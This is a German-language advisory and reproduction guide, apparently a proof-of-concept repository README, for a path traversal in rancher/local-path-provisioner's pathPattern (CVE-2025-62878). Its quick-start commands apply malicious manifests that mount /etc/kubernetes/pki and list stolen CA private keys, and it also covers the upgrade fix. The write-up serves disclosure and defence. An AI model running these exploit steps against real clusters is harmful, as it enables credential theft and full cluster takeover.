CVE-2025-62878: Path Traversal im Local Path Provisioner
Übersicht
| Punkt | Wert |
|---|
| CVE ID | CVE-2025-62878 |
| GHSA ID | GHSA-jr3w-9vfr-c746 |
| Schweregrad | Kritisch (CVSS 10.0) |
| CWE | CWE-23 (Relative Path Traversal) |
| Betroffene Komponente | rancher/local-path-provisioner |
| Betroffene Versionen | v0.0.27 ~ v0.0.32 |
| Behobene Versionen | v0.0.33+ |
Beschreibung der Schwachstelle
Im Parameter pathPattern der StorageClass besteht eine Path-Traversal-Schwachstelle. Ein böswilliger Benutzer kann pathPattern mithilfe relativer Pfadelemente (z. B. ../) manipulieren, um PersistentVolumes zu erstellen, die auf beliebige Speicherorte auf dem Host-Knoten verweisen und dabei die konfigurierte Basisverzeichnis-Beschränkung umgehen.
Dies ermöglicht Angreifern:
- Zugriff auf sensible Host-Dateien erlangen (z. B.
/etc/kubernetes/pki/)
- Kritische Systemdateien überschreiben
- Durch den Diebstahl privater Kubernetes-CA-Schlüssel eine vollständige Übernahme des Clusters erreichen
Betroffene Versionen (Verifiziert)
Hinweis: Das offizielle GitHub Advisory gibt an, dass „< 0.0.34" betroffen ist, aber unsere Tests bestätigen:
- v0.0.33 ist bereits gepatcht
- v0.0.26 und früher sind nicht betroffen (das pathPattern-Feature existiert nicht)
- Tatsächlicher betroffener Bereich: v0.0.27 <= Version <= v0.0.32
Zeitleiste
| Ereignis | Datum |
|---|
| pathPattern-Feature eingeführt | 2024-05-26 (Commit af85381) |
| Erste verwundbare Version (v0.0.27) | 2024-05-29 |
Reproduktion
Detaillierte Reproduktionsschritte und Skripte finden Sie im Verzeichnis exploit/.
Schnellstart
# 1. Install vulnerable version
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.30/deploy/local-path-storage.yaml
# 2. Apply exploit
kubectl apply -f exploit/malicious-storageclass.yaml
kubectl apply -f exploit/malicious-pvc.yaml
kubectl apply -f exploit/exploit-pod.yaml
# 3. Verify exploitation
kubectl get pv -o jsonpath='{.items[0].spec.hostPath.path}'
# Output: /etc/kubernetes/pki
kubectl exec pki-exploit-pod -- ls -la /stolen-pki/
# Shows Kubernetes PKI certificates and private keys
Behebung
Führen Sie ein Upgrade auf v0.0.33 oder höher durch:
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.33/deploy/local-path-storage.yaml
Referenzen